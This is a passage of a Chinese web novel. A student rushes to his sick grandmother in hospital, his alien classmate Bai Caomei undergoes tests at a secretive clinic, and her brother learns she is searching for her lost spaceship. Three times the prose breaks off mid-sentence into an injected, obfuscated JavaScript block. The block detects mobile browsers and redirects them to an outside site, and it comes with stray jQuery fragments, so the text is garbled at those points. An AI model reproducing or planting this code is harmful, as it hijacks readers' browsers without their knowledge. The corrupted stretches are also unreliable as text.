他似乎是一路跑过来的,有层头发汗津津地贴在额头上,顺手从柜台边上拿了瓶矿泉水拧开灌了一大口,靠在沙发上歇了好半天。
还从来没见过陈序这么狼狈,白衬衫都被汗水浸透贴在胸前,老板端着拿铁走过来,勾着嘴角调侃:“怎么着?被狗追了?”
陈序一口把剩下的水闷了,长长地呼出一口气来,顺着他的话说:“可不是。抄近路过来的时候碰见了几条狗,狺狺狂吠之后狂追我,我绕了几条街终于把他们甩脱了。”
打架可是中学生守则上命令禁止的行为,犯不着因为跟他们动手背上处分,他们那小身板,陈序稍微遛他个两公里,那些人自己就放弃了。
不过确实没一次跑这么远过,对陈序来说是有点累,不过也就一点点。
白草莓指了指他的手肘,不小心沾到的泥土在黑色校服上异常显眼。
陈序赶紧拍了拍,解释道:“在墙上蹭的,不是摔的。”
“哦——”白草莓没有拆穿他,但她知道在墙上蹭不到泥巴。
陈序定了定心神,拉过自己的书包:“今天有哪些不懂的题?”
白草莓把笔记摊开在陈序眼前,陈序扫了一眼,拿起笔在草稿上演算。
“这道题是这样的。”
店老板的品味很好,每张餐桌上都摆着香薰,味道闻着很舒心,音箱里播放的音乐也不吵闹,白草莓跟陈序两个人并肩坐在一起,完全沉浸在解题的世界里。
直到白草莓定的倒计时结束,两个人才同时惊醒。
白草莓捧着杯子抿了口醇香的拿铁,目光落在陈序整洁却狂野的字迹上,问道:“那个研讨会的志愿者,你会去参加吗?”
陈序没有犹豫地点了点头:“当然参加啊,我势在必得。”
问及原因,竟然不是大家公认的金钱吸引。
没想到大家提到他,第一个想到的就是“财迷”,陈序苦笑一声:“研讨会有个医学模块,有位免疫系统的大佬也会出席,我主要是想有个机会请他解惑。”
许缨曾经跟白草莓透露过隐情,没想到陈序一直在为奶奶的病努力。
陈序活动活动筋骨,拿起笔打算继续埋头苦学:“差不多了……”
只是话没说完,陈序的手机先振个不停:“张叔,我……什么?!”
陈序的情绪突然变得异常激动:“好,麻烦您了,我现在就过去。”
话还没说完,陈序连包都顾不上收拾,起身就往门口走。
“怎么回事啊?”白草莓紧跟在他身后出去。
陈序双手颤个不停,想到从软件上叫车,可是半天都没把目的地输进去。
“我奶奶,又发病了。”
17. 17
奶奶发病了?
“你不要着急,要去哪里我让刘叔送你。”白草莓捏了捏陈序的手臂宽慰。
“好。”陈序答应着。
可白草莓手掌底下的肌肉颤抖持续着,陈序分明咬着牙极度克制了,还是一直等到上了刘叔的车才缓缓停下来。
“麻烦去中心医院。”
这样简短的一句话,陈序打了三个颤,白草莓的心也悬了起来,究竟是病重成什么样子才会让陈序这样一个从来不知道怕的人抖成这样。
哪怕刘叔尽力开得快了,但车内的气氛还是很焦灼。
上车的时候太匆忙,白草莓的衣角被陈序压坐在屁股底下,他根本没有调整坐姿的打算,身体往前倾,双手合在一起揉搓,目光紧紧盯着路口的信号灯,希望它不要在这紧要关头变红。
“没关系的……”白草莓试图安慰两句,让他稍微放松情绪,现在高峰期已经过了,路上车不多,很快就能到。
只是这话现在说出来不太合适,陈序脑袋里的弦本来就绷得紧紧的,听她说没关系,“铮”一声差点就断了。
陈序的话没经过脑袋就蹦了出来:“你当然没关系,又不是你奶奶。”
他说得倒也没错,白草莓被怼的哑口无言,车内一时间没了动静,只有刘叔的手套跟方向盘摩擦的声音,挠在人心头上。
“抱歉,是我失控了。”陈序按着脸长长叹了口气,确实是他情绪太激动,不怪白草莓。
电话里说奶奶突然犯病,不仅昏迷,摔倒的时候还磕着了,那么大年纪的人哪儿经得起摔啊?他实在是有点着急了。
幸而中心医院就在路口转角处,刘叔刚把车靠边停稳,陈序已经飞了出去。
白草莓只好跟着追过去,怕他关心则乱。
陈序的步子迈得极快,三两步就冲到了护士站跟前,又三两步就奔至电梯跟前,要不是电梯正往上升,白草莓还真没那么容易跟上他的脚步。
陈序放弃乘电梯,噔噔噔顺着楼梯往上跑。
二楼。
三楼。
四楼。
五楼。
陈序来到病房外看见邻居张叔,肺里的气还没喘匀,想说话但是身体不允许,还是白草莓追上来替他说话:“叔叔,奶奶怎么样了?”
“在救护车上就缓过来了,现在躺在病房里。”
听见这个好消息,陈序双腿一软,跪倒在病房外,手肘撑在地上,额头贴着冰凉的瓷砖,呼吸逐渐平静下来。
张叔也来得匆忙,脚上甚至穿了两双不一样的拖鞋,讲着刚刚的惊险事:“哎,幸好跌倒的时候被床拦了一下,只磕破了手臂,要是真磕到哪儿了真不是小事。”
他跟陈家是老街坊了,平常也受过陈家的照料,看着陈序从小长到大,难免唠叨起来。
“陈序啊,奶奶的病你肯定比我要清楚,让她住在医院里多好,随时都有人照料,你要是钱不够别逞能,跟叔说啊,叔来掏。”
陈序扶着墙边光滑的扶手要站起来,身边两人连忙给他搭把手。
头发重新被汗珠浸透,贴在额头上,只是分不清是被吓出来的冷汗多点,还是跑出来的汗更多。
陈序缓下一口气来,强撑着笑了笑:“叔您别担心,我这有钱呢。奶奶不喜欢医院,我拗不过她,您也知道……”
张叔深知其中隐情,不好多说,拍拍陈序肩膀安慰道:“都会过去的。”
陈序附和:“会的。”
“那我走了,你去看看奶奶。”张叔又朝着白草莓点头示意。
陈序转身进了病房,白草莓站在门口静静观望,病房里面只住了一个老年人。
奶奶安静躺在病床,经过治疗已经累得睡过去。
她身边摆了台滴滴作响的心脏监测仪,波纹起伏有序,枯瘦的手背上扎着留置针,好多瓶药水悬在床头,白的黄的透明的液体一瓶挨一瓶,顺着输液胶管流进身体里。
白草莓轻轻靠在门上,她见到楼底下花坛里也用这样的胶管往树的身体里输液。
既然可以使用同样的治疗方法,是不是说明人类和植物也没什么不同?
那她和人类……是不是也没什么不同?
走廊上响起笃笃脚步声,迎面走来一个看起来十分干练的女护士,她看见新面孔有些诧异:“诶?你是来看病人庄荣的吗?”
白草莓回过神来,不清楚庄荣是谁,下意识看向病房里的陈序,他听见动静已经往门口走过来,眼角的泪花在两次眨眼后消失不见。
“双姐好。”陈序接过护士递来的检测单,简短解释:“她是我朋友。”
双姐看出他压在心底的沉痛,开了个玩笑活跃气氛:“第一次见你朋友,我还以为你喜欢当独行侠呢。”
“哪儿的话。”陈序一目十行,快速将检测单翻阅过,原本悬起来的心稍微放下了。
双姐凑近奶奶的仪器查看各项数据,检查下一个病人前,忽然想起来,提醒陈序:“诶,你记得去楼下往卡里存点钱,病人还得住院观察几天。”
“好。”
陈序挑出账单,把检测单折了折揣进兜里,却不小心把指腹划了个口子,正懊恼今天诸事不顺,一转头看见白草莓蹲在墙根,四周被冰凉的白瓷砖包围,她抱着膝盖,神色落寞,无端惹人怜爱。
陈序心神微动,伸手点了下她的脑袋,提醒道:“你先进去坐着吧。”
白草莓应了一声,点点头却没动弹,看着陈序捏着账单一溜烟又不见了踪迹。
她一开始追着陈序上来,没顾得上关注周围环境,刚刚静下来,周围各种情绪散发出的味道不断冲击她的脑袋。
伤心,痛苦,懊悔,希冀,庆幸,喜悦……
这里是人类情绪最丰富的地方,迎来送往,极喜极悲,大起大落,白草莓一下子没能承受丰沛情绪带来的冲击,心脏都要跳出来,蹲在地上缓了好半天。
陈序交了费用上来,看见白草莓还在那儿没动过,在她面前矮下身子:“你怎么还蹲在这儿,腿不麻?”
白草莓抬起头,一双眼睛红彤彤的,咬着嘴唇,泫然欲泣,她唇红齿白,长得本来就好看,这副模样让陈序更拿她没办法,只好温声询问:“为什么哭啊?是因为我在车上的时候语气不好吗?我向你郑重道歉好不好?”
“不是。”
白草莓摇摇头,泪水从眼尾甩出去,顺着脸颊往下滚,抬手去擦,又把脸颊擦得通红。
“诶——”
陈序就见不得别人流眼泪,也顾不上什么保持适当距离,用大拇指轻轻抹掉白草莓眼角的泪水,再度放软了语气:“那你哭什么啊?脸都要被擦破了。”
他的眼神也亮晶晶的充满疲色,现在却撑起笑来安慰白草莓,看得白草莓又是一阵心酸,偏头避过他的指尖,喃喃道:“是这里太让人伤心了。”
“你说的没错,这里太让人伤心了。”
陈序重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006000|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重吐出一口气来,朝白草莓摊开手:“起来吧,别坐着了,地上凉。”
他的手掌上遍布薄茧,手指细长,骨节明显,看上去宽厚可靠。
白草莓确实蹲得腿麻了,把手搭在陈序手中,他的手心温热,热得能驱散这条走廊上所有的冷意和悲伤。
陈序五指收紧,略一使力就把她从地上提了起来,随即就松了手。
“陈序,奶奶为什么不喜欢医院?”白草莓也不喜欢医院,所以她好奇。
陈序定定地看着她,随后转头,平静地讲起了自己的故事,讲他爸妈为什么去世,讲爷爷奶奶辛苦把他拉扯大,讲爷爷突然离世,讲他和奶奶相依为命。
末了他轻轻叹息,并没有自怨自艾,清楚哪怕生活艰辛还是要走下去。
陈序低声道:“我父母和爷爷送进医院后,都是她眼睁睁看着去世的,医院里的经历对她来说是每次提起都悲伤欲绝的噩梦。她不想住在这里,我也不会逼她。”
白草莓沉默着没说话,眼眶红红的,也不知道是刚才的情绪没消退,还是被陈序跌宕宕宕宕的人生给吓到了。
陈序耸了下肩,故作轻松地说:“你回去吧,不然刘叔该等着急了,跟我向刘叔带个好。”
白草莓点点头,她确实得离开这里,精神力逐渐恢复,她对人类情绪的感知更加敏锐,同时受的影响也越严重。
临走前她突然叫停陈序:“你需要钱吗?”
陈序抱着胳膊轻笑:“白大小姐的钱是大风刮来的,这么想给别人花?”
白草莓摇摇头,她没有施舍陈序的打算,也没有看不起他,她只是不忍心看着床上被病痛折磨的老人家。
“看着奶奶就想起来自己家里的长辈,我只是想帮一个病人脱离苦海,没有别的意思。”
白草莓这么解释,最后说:“总之要是有需要,你尽管开口。”
刘叔在电梯口等着白草莓,陈序目送二人进入电梯,硬装出来的坚强盔甲被丢在一边,他颓然靠着墙壁,缓缓滑坐在地上。
“尽管开口啊……”
陈序有时候觉得白草莓真的会读心,因为他确实没多少钱了。
国外进口的生物试剂又贵又少,用不了几次,离心机维护一次也是大价钱,实验室明年的租金也要付了……
他搓搓拇指,上面还残留着白草莓湿润的泪,怎么会有人拥有这么强的共情力?
除了白草莓,陈序还从没见过有人仅仅因为医院的氛围就眼泪哗哗流的。
哼,真是个“怪胎”。
陈序坐了好一会,穿堂的风也吹够了,拍拍手准备站起来,忽然记起自己右手上刚被账单上凸出的订书钉划了一条长道。
按理说是要去护士站借点碘伏和创可贴贴上更安全,但是陈序却翻来覆去找不到那条口子,他记得就是右手拇指啊,他还替白草莓擦眼泪来着。
白草莓……
眼泪……
陈序忽然想起几个月前跟白草莓刚熟悉那会。
那几天小区楼道里的灯坏了,他失足从楼梯上摔下去,小臂上磕在台阶上,印了道乌青的痕迹,第二天去见白草莓,她的手指在上面戳了两下,好奇地问他怎么搞的,后来陈序再去看,痕迹已经消失了。
白草莓当时嚷嚷着自己是外星人,要找飞船……陈序倒吸了一口凉气,她不会是讲真的吧?
等等,如果这伤真是因为她的眼泪愈合,那奶奶岂不是有救了?!
18. 18
陈序想到这个地方,连忙冲下楼去找白草莓。
上来的时候他觉得五层楼梯漫长得到不了尽头,下去的时候这条路同样如此,沉重的呼吸声和脚步声在楼梯间里回荡。
快一点。陈序在心里这么想,来到大厅里四处张望,他迫不及待要向白草莓问个明白。
终于,熟悉的校服在玻璃门外一闪而过,陈序快步上前,拉住那人的手臂,喘着大气问:“白草莓,你是不是……”
“陈序?你怎么在这里?”
眼前这个国际部的学生认识陈序,可陈序对她没有一点印象,悻悻松开手:“抱歉,认错人了。”
这位同学揉着手臂说没关系,看他着急忙慌的样子,又问:“你是要找白草莓?不过我看她刚上了一辆车,应该是回家了。”
回家了。
白草莓有父母兄弟,是应该回家的,他只有奶奶了,奶奶在哪里,哪里就是他的家。
陈序懊恼地搓搓脸颊,跟同学道了声谢,默默转头回了病房。
病床上奶奶刚刚清醒,看见陈序回病房时满脸落寞,自觉对不住他,颤声叫了声:“小序啊。”
陈序回过神来,连忙牵住奶奶的手贴在脸侧,重新变得无坚不摧:“我在,奶奶。你有哪里不舒服吗?”
“奶奶给小序添麻烦了。”
奶奶的指腹在他脸上蹭了蹭,可是这双手经过多年的辛苦劳作,变得粗砂一样,磨得陈序想哭。
“说什么呢奶奶,只要您还陪着我,怎么都不算麻烦。”
陈序跪在病床边上,就这么等到奶奶重新睡过去,刚才激动的情绪也逐渐平复下来。
他想见白草莓的话,最晚明天就能见到,不用着急。
白草莓靠坐在座椅上,车窗开了一半,微凉的夜风灌进车里,卷起她的头发和绳结。
在医院里被迫感受的负面情绪随着风逐渐消散,她的心情也稍微好起来。
轿车在十字路口往左拐,路边的景色陌生起来。
“刘叔,我们不回家吗?”白草莓趴在车窗上确认,这不是回家的路。
刘叔抬头看了眼后视镜,白草莓的状态比刚出医院的时候要好,心里松了口气,解释道:“老爷刚刚来电提醒,说先前预约的医院好不容易空出来一个复查名额,让我送你过去小住几天,疗养身体。”
刘叔口中的医院白草莓有印象,她第一次在地球上睁开眼睛就是在那里。
里面的医生和护士都很有耐心,她不会张口说话,会有人抵着喉咙,教她每个字怎么发音;手脚不听使唤,会有人扶她上康复器材训练,可以说,她就是从这件医院里学会怎么当个人。
而且医院周围的环境特别好,安静又清幽,不管是白天还是夜里,都不像今天来的中心医院这样繁忙吵闹。
如果是当植物的话,白草莓想要在那周围当植物。
“我去住医院的事,蓝莓知道吗?”
“放心,我已经通知过少爷了。”
“那就好。”白草莓这才放下心来。
白澜亦怕黑怕孤单,每次出门书桌边上总会留盏灯,要是自己不在,房子里空荡荡的,他肯定又要多想。
白草莓舒舒服服靠在座椅里,嘿嘿,看来她不论在1223还是地球都是不可或缺的存在,哪里离了她都不行。
第二天,陈序特地起了个大早去网红甜品店买了块樱花白桃味的提拉米苏。
那天他看见白草莓盯着这块蛋糕悄悄吞口水,但当时没有多余的能分给她,现在这块陈序是单独给她买的,只给她一个。
只不过陈序拎着提拉米苏,在白草莓教室门口等了好久都没见到人,最后一个往教室这边赶的是这班的班主任。
陈序趴在栏杆上万分颓唐,心想着真奇怪啊,之前从来没见到白草莓迟到的,她不是最有时间观念了吗?
班主任一手拿书一手端着枸杞茶,气定神闲地往陈序跟前一站:“陈序。马上要上课了,你在我们班门口傻站着干嘛?”
“杜老师,您吃蛋糕吗?”陈序把精致包装好的蛋糕提起来。
“你过生日啊?”
杜老师心里一喜,她教学向来认真严谨,不收家长的礼物,也鲜少收到学生的礼品,从来没被她教过的陈序会给她送蛋糕。
“不是我过生日,老师你要的话给四十五就行。”
陈序的语气没什么变化,但又像突然泼过来的一盆冷水,让人心凉。
“我不要,真有头脑哈。”杜老师无语,没想到陈序这小子平常倒腾东西就算了,现在还卖到她眼皮子底下了。
陈序哦了一声,弯腰拎起书包要走,又被杜老师叫住:“我没带手机,给你现金五十吧,等会下课把这蛋糕送我办公室,顺便帮我从图书室搬几套习题过来。”
“行,没问题。”陈序接了钱,背着包走了。
许缨撑着脑袋看陈序走远,班主任进教室来,偏头看向白草莓空荡荡的座位,白草莓真不够意思,请假不来也该跟吃饭搭子说一声啊,留她一个人吃饭多没劲呐。
学校里的人牵挂白草莓,白草莓倒是在医院里十分自在。
通讯设备进医院那天就交给工作人员,没人干涉睡眠时间,可以一觉睡到天光大亮,醒来之后简单吃点东西,再上到顶楼躺着晒会太阳,日子别提多惬意了。
不过下午的时间基本上都会在各种医疗设施里度过。
白草莓印象最深的是一个黑洞洞的舱室,她躺进去就像跟外头隔绝了一样。
那里面没有声音没有光线,连机器运作的声音也极其细微,她总是会无意识睡过去,回到自己的幼年时期,回到自己扎根在土里,享受风吹接受日晒的日子。
“嘟——”
“嘟——”
玻璃窗外均匀的运作声非常清晰,内置的扩音器将白草莓的心跳声都清晰传递出来。
“血脂、血氧、血糖都在正常范围之内。”
“身高、体重、骨密度也全都正常。”
“呼吸心跳比上次记录的数据要快,大概80%?!怎么会差这么多?老师,上次的数据不会出错了吧……”
负责记录的实习生看见这数据大吃一惊,能站在老师身边的实习生都是顶尖中选的顶尖,怎么可能犯这么低级的错误?
他还是先揉了揉眼睛确认过后才发出疑问。
显示屏前面端坐的男人推了把眼镜,眼神像是蛇信子,波澜不惊地应了一声:“是出错了,你改过来吧?”
实习生更加震惊,这说改就改了?
可老师的话在他们学生跟前就是圣旨,他只好顺从,摁下鼻头问:“老师,原本的数据是什么?”
“你看着填。”佘永昌没有抬头,只是默默透过屏幕观察白草莓身体数值的波动。
实习生犹豫半天写了个没那么夸张的数据,又问:“那,新的数据要不要同步给白教授和叶教授?”
谁知道这话却把老师惹怒了,他强按下欲拍桌子的手,冷声道:“再啰嗦,你就滚出去。”
实习生立刻闭嘴,不敢多说话,惹佘永昌生气的下场没有人能承受得了。
“叮铃铃——”
佘永昌的手机铃声忽然响起,他摘掉眼镜,疲惫地捏了捏山根,接通
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015510|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电话,顿时变了语气。
“是是是,劳您挂心,我这边没什么事。”
“瞧您这话说的,您交代的事情我当然会尽心尽力了。”
“好好好,等工作结束,我亲自登门拜访。”
挂断电话之后,他戴上眼镜,又变得无比冷漠,偏头瞪了眼实习生。
“准备抽血。”
“抽完血之后,你就去……四楼工作。”
实习生不敢违抗佘永昌的命令,只敢在心里疑惑,医院好像没有四楼啊?
“醒醒,醒醒。”
白草莓的肩头被人轻拍两下,眼前不再一片漆黑,她睁开眼,看见佘医生正对着她微笑。
“大部分的检查已经完成,剩下的零碎项目将会在剩下的日子里进行。”
佘永昌把她从舱室里扶下来,递了杯温热的糖水。
白草莓捧着糖水抿了一口,甜丝丝的,又解渴又补充能量,认真地点头回应:“我知道了,谢谢医生。”
晚上九点钟,白家。
白澜亦在C市忙好几天终于回家来,他走进客厅下意识望向二楼,白草莓常年亮着夜灯的房间难得是暗的。
不是说去检查身体吗?怎么检查了这么多天还没回来?
白澜亦从外套里掏出手机,点开白草莓的联系方式,按下通话按钮前忽然有些犹豫。
他跟白草莓从来没有打过电话,第一句该怎么开口呢?
该说“我是你哥”还是直接自爆大名“我是白澜亦”?
纠结来纠结去也只是浪费时间,白澜亦按下通话键,想着说等白草莓先开口最合适。
电话拨过去,没两秒钟却传来忙音。
“您拨打的号码已关机。”
关机?怎么会关机?
白澜亦不信邪,继续打过去,得来的是一遍遍忙音。
他心里发紧,总觉得白草莓不像是会关机让人联系不到她的性格,她估计巴不得有人给她打电话然后大聊特聊。
最后一次未接通,白澜亦翻出白和安电话拨过去。
“什么事?”
真是奇迹,白和安这个大忙人居然接电话了。
白和安都接电话了,白草莓竟然不接,岂有此理。
白澜亦顾不上讽刺他爸,上来就问:“白草莓去哪儿了,她为什么现在还没回来,也不接电话?”
白和安被他一连串的质问镇了片刻,沉声道:“你放一百个心,我是她爸,我能害她?
“她之前不是出车祸昏迷了好几年,当然要仔仔细细上上下下全都检查喽。这家医院很难约的,在山里头,安静得很,估计是信号不好。”
白和安难得跟白澜亦打超过两句话的电话,白澜亦打断他的废话:“她还有多久能回来?”
“稍等我看看……”
白澜亦呛道:“你怎么还要看看?你应该把你女儿的出院时间刻在脑子里,而不是混进多如牛毛的A4纸里。”
“还得一周。”白和安听见白澜亦后面的话就生气,本来就忙得晕头转向,挨完领导批,还得听白澜亦顶嘴?
“长大了敢呛你老子了是吧?”
“嘟——”
白澜亦直接挂断电话,按了按太阳穴,每次跟白和安通话,都会被气得头疼。
他仰头望着白草莓的房间,沉默半晌走上楼梯,在门口处将她的夜灯打开。
柔和晦暗的灯光从四方的门里照出来,盖在白澜亦脚上,也盖在他心里。
他静静站了片刻,垂头看了眼手里的文件袋。
白草莓,我还有很多问题,等你回来解答。
19. 19
白草莓出院的时候收到了佘医生送她的出院礼物,是一只玩偶小熊,雪白的身体,粉色的耳朵,两只眼睛圆溜溜,像是一大块卡通蛋糕。
“保重身体,白小姐。”佘永昌推了把眼镜,微笑着像白草莓挥手告别。
“谢谢你,佘医生。”
白草莓跟他告别之后往院门外走,大门是繁复的欧式栅栏,为了维持医院的安静常年关着,刘叔的车就停在外面。
她拉开车门刚坐上去,就看见一辆贴着医院标志的面包车从林中小径驶出来,熟练地打个高难度的弯,钻进另一条小路中不见踪影。
白草莓之前见过这样的车,也听说过“面包车上下来一车面包人”的笑话,但是一直不清楚这种形状的车能做什么用,正好今天想起来了,扭头问管家:“刘叔,那辆车是做什么的啊?”
路上统共就两辆车,刘管家刚刚也瞥见了面包车的熟稔车技,撇了下嘴,直言不讳:“哦,那是个灵车,山脚下有个火葬场,拉的人多了可不就熟练了。”
“刘叔你知道的好多。”白草莓随口夸了一句,打开手机想要查查灵车是什么意思。
刘管家浑身一僵,抬手扭了下后视镜,看白草莓没什么异样,这才放心继续开车。
白草莓的手机刚开机就被铺天盖地的消息给轰炸了,其中最多的还得数许缨。
简直称得上狂轰滥炸,总归为一句话就是:“没有你我要活不下去了!”
失去了吃饭津津有味的饭搭子的陪伴,可不就是要饿死了嘛。
白草莓安抚了两句,立刻得到了许缨的回复,约定好学校见之后,她打开跟陈序的聊天框。
消息不多,但是简明扼要,白草莓简单翻阅过后,她清楚陈序是有很重要的事情请自己帮忙。
但是陈序当时都不怎么想接受她的金钱帮助,认为是施舍,现在又这么认真地请她帮忙,对陈序来说,那应该是非常非常非常重要的事情了。
既然是那么——重要的事,白草莓当然要帮忙啦。
陈序暂时没有回复,白草莓往下滑竟然看见白澜亦未接来电,还是好几条。
白澜亦平常话都不肯多说两遍的人,给她打了那么多电话都无人接听,肯定很生气。
就在她犹豫不决,还没想明白怎么解释能让他消气的时候,白澜亦心有灵犀似的又拨了一个电话过来。
白草莓浑身一颤,脑子没反应过来,手已经接通了电话,看着开始计时的通话界面,她只能硬着头皮应了一声。
“蓝莓。”
听见熟悉的称呼,白澜亦不自觉地松了口气,问道:“什么时候回来?”
“估计得到下午三四点了。”
白草莓如实汇报,对面听了,不知为何忽然沉默下来,听筒里静得白草莓心里有点悬。
“注意安全。”
“哦哦……嗯,我知道了。”白草莓下意识回复,反应过来这是白澜亦说的话后,忍不住偷偷笑。
也就半个月没见,她怎么感觉白澜亦像是换了一个人。
白澜亦听着对面不绝的痴痴笑声,怀疑地检查了自己的手机,眉心紧了紧,正色问道:“你笑什么?医院不会是给你治傻了吧?”
白草莓抿住嘴唇克制笑声,摇了摇头,想说这才是她认识的白澜亦:“没有,我还好。”
“知道了。”
白澜亦说完就挂了电话,悦耳的窃窃偷笑似乎还在耳边。
刘叔的车速在市区通常不会超过四十,高速会在快车道,其他路视路况而定,按照这个标准计算,白澜亦打开电脑,在地图上检索所有距离白家三、四小时路程的医院。
数量不少,但白澜亦会亲自调查,一一排除,确定那个疗养医院,把它的底细查个明白,看看究竟值不值得白和安把白草莓丢进去十几天不闻不问。
当天下午天气不算好,阴沉沉的,白草莓到家的时候还有些要下雨的迹象,白澜亦似乎不在,从外面看里面黑洞洞一片。
刘叔把白草莓在门口放下,说是要把车开去保养,白草莓推开阔别多日的洋房栅栏。
秋天越来越深,院子里的花草树木逐渐开始凋零,落在石板上的枯叶也多了起来。
1223从来没有这么明显的节气变化,也没出现过逼植物落叶保命的寒冷气候。现在还只是秋天,要是冬天该怎么办?白草莓换位思考,自己也打了个哆嗦。
她推开门,意外发现一楼的厨房里亮着灯。
白澜亦忽然走了出来,顺着厨房暖色的灯光,一身浅色居家服,衬得他身上那股“生人勿近,熟人更勿近”的冷漠气质淡了不少。
“回来了?外面冷,喝杯热的暖暖。”
白澜亦手里两杯牛奶,递了一杯给白草莓,奶是放进微波炉温过的,严格控制过温度和时间,既不破坏营养价值也足够暖胃。
“好。”
白草莓笑着接过来,凑到杯前闻了闻就清楚,这是许缨常给她带的牛奶,她每次喝都会觉得自己精力充沛,能量满满,可惜抿了一口,发现味道跟以往有细微不同。
“怎么这副表情?不好喝?”白澜亦看她端着杯子不动,也怀疑地凑过去嗅了嗅,没什么问题。
白草莓连忙摇头:“好喝的。蓝莓最好了。”
白澜亦看她傻乎乎的笑脸,嘴角轻轻上扬三个像素点,“收拾一下,等会来书房,我有话问你。”
说完,白澜亦端着自己的杯子上了楼,白草莓将杯子放进洗碗池的时候,顺手拿起一边的空奶瓶细看。
什么都一样,味道怎么会不同?
白草莓没有多想,或许是她有段时间没喝,所以觉得味道变了吧?
她将杯子冲洗干净放进柜子里,回房间换了身舒适的衣服,手机铃声忽然响起来。
是陈序打来的电话。
“你现在有空吗?我知道时间有点晚,约你出来很不合适,但是我真的有非常重要的事情要说。”
白草莓有些迟疑,毕竟白澜亦找她也有很重要的事情说:“真的不可以明天再见吗?我有些事情要先解决。”
陈序在灭了灯的楼道里踱步,路灯晦暗的光被横插斜穿的楼层挡了大半,他的神色疲惫,语气沉缓:“那说好了,我们明天见。”
“好,我跟你拉钩。”
白草莓挂断电话,出了房间,走上前敲了敲书房的门。
书房门半开着,白澜亦在里面等候多时,“进来吧。”
白澜亦将从C市实验室带来的数据拿出来,其中一部分涉及他始终研究不明白的灰色粉末。
只是A4纸一摊开,白草莓的脚步猛然顿住,再度嗅到一股无比熟悉的味道。
她上次在白澜亦身上闻到过,这就是白草莓丢失的飞船的味道,她在飞船上待了好多年,别说是面前的仪表盘了,就算是飞船外面的涂层的味道她都能记得一清二楚。
只是她上次追问白澜亦,他怎么都不正面回答。
“白澜亦,你知道我的飞船在哪里。”
白草莓第一次直呼白澜亦大名,语气不是疑问,而是肯定,她现在非常确定,白澜亦接触过她的飞船。
这也算是白草莓首次在白澜亦面前承认自己外星人的身份,白澜亦一时间不知道该先震惊哪件事。
“飞船?”
这‘灰尘’他和米清当外星土壤研究了个把月,没想到最开始的方向就错了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020221|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
白澜亦正了正神色,目光逐渐认真起来:“我想我们得好好聊聊这件事了。”
白草莓在他面前坐下,神情也是难得一见的严肃:“我也这么认为。”
这天晚上,白草莓和白澜亦两个人交谈了很久,久到白澜亦觉得自己肩负着地球与外星文明友好交流的使命,不忍心见地外高等文明就此覆灭。
白澜亦重重靠在沙发上,星球观被重新塑造,脑袋里被新知识卡得差点停止运转。
“事情就是这样,我怀疑你口中的灰尘是飞船遭受撞击后掉落的碎片,至于飞船在哪里,很有可能跟给你‘灰尘’的人有关系。蓝莓,你说过要帮我找飞船的。”
白草莓的眼神十分之百的真挚,她最初留在白家就是这一个原因。
“你放心,我说到做到。”白澜亦的指尖一直在膝头敲击,似乎是一时间没办法消化这么多的信息。
‘灰尘’是米清从航天局申请到的,他曾经提到过说,航天局几乎把飞船研究得差不多了。
被驾驶员遗落在地球上的飞行器、被飞行器遗落在地球上的驾驶员,这两句被微微调转语序的话对研究者来说是全然不同的存在。现在飞船研究完了,可不就要研究外星人了?
白草莓这时候露面肯定没有好处,他不敢担保航天局里全部都是人权至上的研究员,只要遇上一个激进的,对白草莓来说都是威胁。
半晌,他郑重看向白草莓:“飞船的线索我来找,你千万不能暴露自己的身份,就算在爸妈面前也不行。”
白草莓不清楚他脑袋里复杂的考量,但是空气里除了细微的焦灼,没有任何威胁,她就知道,白蓝莓一定不会伤害她。
航天局……
白澜亦指尖的敲击逐渐加速,他心里有种隐隐的不安,说不出来究竟哪里不对,但直觉告诉他事情没那么简单。
第二天是周末,白草莓刚睡着没多久,先前定好的闹钟就响了起来。
她跟陈序约好了,先在校门口碰面。
白草莓被刘叔送到校门口,距离约定的时间提前了快半小时,不过陈序似乎已经等了很久,他蹲在花坛边上那棵大树底下,把树根周围的叶子全都分了类。
全黄的一堆,半黄的一堆。
估计白草莓再不来,他得把花坛里头的石子挑出来也分个类。
但是见到白草莓,陈序拍拍手,看见她身后还跟着管家,欲言又止,微微弯腰叫了声“刘叔”。
白草莓跟刘管家挥了挥手:“刘叔,你不用跟着我了,有陈序在我旁边,不会有人伤害我的。”
“可……”
刘管家确实放心不下,上次白草莓被人绑架发病差点死掉,他也被扣了薪水,差点开除,可不敢放白草莓乱跑。
白草莓的手悄悄从背后拉住陈序的手腕,嘴上说:“放心吧刘叔,没有可是……”
下一刻,白草莓瞅准时机,拉着陈序冲上了即将关门启动的公交车。
